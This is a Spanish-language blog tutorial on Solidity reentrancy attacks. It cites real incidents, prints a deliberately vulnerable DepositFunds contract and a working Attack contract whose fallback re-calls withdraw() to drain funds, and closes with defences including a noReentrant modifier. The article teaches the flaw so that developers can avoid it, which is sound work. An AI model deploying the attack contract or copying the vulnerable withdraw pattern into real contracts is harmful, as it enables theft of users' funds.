paint-brush
Hack Solidity: Ataque de reentradapor@kamilpolak
70,827 lecturas
70,827 lecturas

Hack Solidity: Ataque de reentrada

por Kamil Polak2022/01/17
Read on Terminal Reader
Read this story w/o Javascript

Demasiado Largo; Para Leer

Un ataque de reingreso ocurre cuando una función realiza una llamada externa a otro contrato que no es de confianza. Luego, el contrato que no es de confianza vuelve a llamar a la función original en un intento de drenar fondos. Cuando el contrato no actualiza su estado antes de enviar los fondos, el atacante puede llamar continuamente a la función de retiro para drenar los fondos del contrato. Un famoso ataque del mundo real es el ataque DAO que causó una pérdida de 60 millones de dólares estadounidenses. Un contrato inteligente vulnerable tiene 10 eth. Un atacante almacena 1 eth usando la función de depósito. Un atacante llama a la función de retiro y apunta a un contrato malicioso como destinatario.

Company Mentioned

Mention Thumbnail

Coin Mentioned

Mention Thumbnail
featured image - Hack Solidity: Ataque de reentrada
Kamil Polak HackerNoon profile picture


El ataque de reentrada es uno de los ataques más destructivos en el contrato inteligente de Solidity. Un ataque de reingreso ocurre cuando una función realiza una llamada externa a otro contrato que no es de confianza. Luego, el contrato que no es de confianza realiza una llamada recursiva a la función original en un intento de drenar los fondos.


Cuando el contrato no actualiza su estado antes de enviar los fondos, el atacante puede llamar continuamente a la función de retiro para drenar los fondos del contrato. Un famoso ataque de reentrada en el mundo real es el ataque DAO que causó una pérdida de 60 millones de dólares estadounidenses.


¿Sigue siendo el ataque de reentrada un problema significativo?


Aunque el ataque de reentrada se considera bastante antiguo en los últimos dos años, ha habido casos como:

  • Uniswap/Lendf.Me hacks (abril de 2020) – $25 millones, atacado por un hacker usando una reentrada.
  • El truco de BurgerSwap (mayo de 2021): $ 7,2 millones debido a un contrato de token falso y una vulnerabilidad de reingreso.
  • El truco de SURGEBNB (agosto de 2021): $ 4 millones parece ser un ataque de manipulación de precios basado en la reentrada.
  • Hack de CREAM FINANCE (agosto de 2021): $ 18,8 millones, la vulnerabilidad de reingreso permitió al explotador el segundo préstamo.
  • Hackeo del protocolo Siren (septiembre de 2021): $ 3,5 millones, los grupos AMM se explotaron mediante un ataque de reingreso.


¿Cómo funciona el ataque de reentrada?

Un ataque de reentrada involucra dos contratos inteligentes. Un contrato vulnerable y un contrato de atacante no confiable.


Fuente: https://cryptomarketpool.com/reentrancy-attack-in-a-solidity-smart-contract/


Escenario de ataque de reentrada


  1. El contrato inteligente vulnerable tiene 10 eth.

  2. Un atacante almacena 1 eth usando la función de depósito.

  3. Un atacante llama a la función de retiro y apunta a un contrato malicioso como destinatario.

  4. Ahora la función de retiro verificará si se puede ejecutar:


  • ¿Tiene el atacante 1 eth en su saldo? Sí, debido a su depósito.

  • Transferir 1 eth a un contrato malicioso. (Nota: el saldo del atacante NO se ha actualizado todavía)

  • La función de respaldo en las llamadas eth recibidas retira la función nuevamente.


  1. Ahora la función de retiro verificará si se puede ejecutar:


  • ¿Tiene el atacante 1 eth en su saldo? Sí, porque el saldo no se ha actualizado.
  • Transferir 1 eth a un contrato malicioso.
  • y otra vez hasta que el atacante drene todos los fondos almacenados en el contrato


A continuación se muestra el contrato, que contiene la vulnerabilidad de reingreso.


 contract DepositFunds { mapping(address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { uint bal = balances[msg.sender]; require(bal > 0); (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send Ether"); balances[msg.sender] = 0; } }


La vulnerabilidad surge cuando enviamos al usuario la cantidad solicitada de éter. En este caso, el atacante llama a la función retirar(). Dado que su saldo aún no se ha establecido en 0, puede transferir las fichas aunque ya las haya recibido.


Ahora, consideremos un atacante malicioso creando el siguiente contrato.


 contract Attack { DepositFunds public depositFunds; constructor(address _depositFundsAddress) { depositFunds = DepositFunds(_depositFundsAddress); } // Fallback is called when DepositFunds sends Ether to this contract. fallback() external payable { if (address(depositFunds).balance >= 1 ether) { depositFunds.withdraw(); } } function attack() external payable { require(msg.value >= 1 ether); depositFunds.deposit{value: 1 ether}(); depositFunds.withdraw(); } }


La función de ataque llama a la función de retiro en el contrato de la víctima. Cuando se recibe el token, la función de reserva vuelve a llamar a la función de retiro. Dado que se pasa la verificación, el contrato envía el token al atacante, lo que activa la función de respaldo.

¿Cómo proteger el contrato inteligente contra un ataque de reentrada?


Para evitar un ataque de reingreso en un contrato inteligente de Solidity, debe:


  • Asegúrese de que todos los cambios de estado ocurran antes de llamar a los contratos externos, es decir, actualice los saldos o el código internamente antes de llamar al código externo
  • Use modificadores de función que eviten la reentrada

Modificador para prevenir un ataque de reentrada


 contract ReEntrancyGuard { bool internal locked; modifier noReentrant() { require(!locked, "No re-entrancy"); locked = true; _; locked = false; } }



Fuentes:



También publicado aquí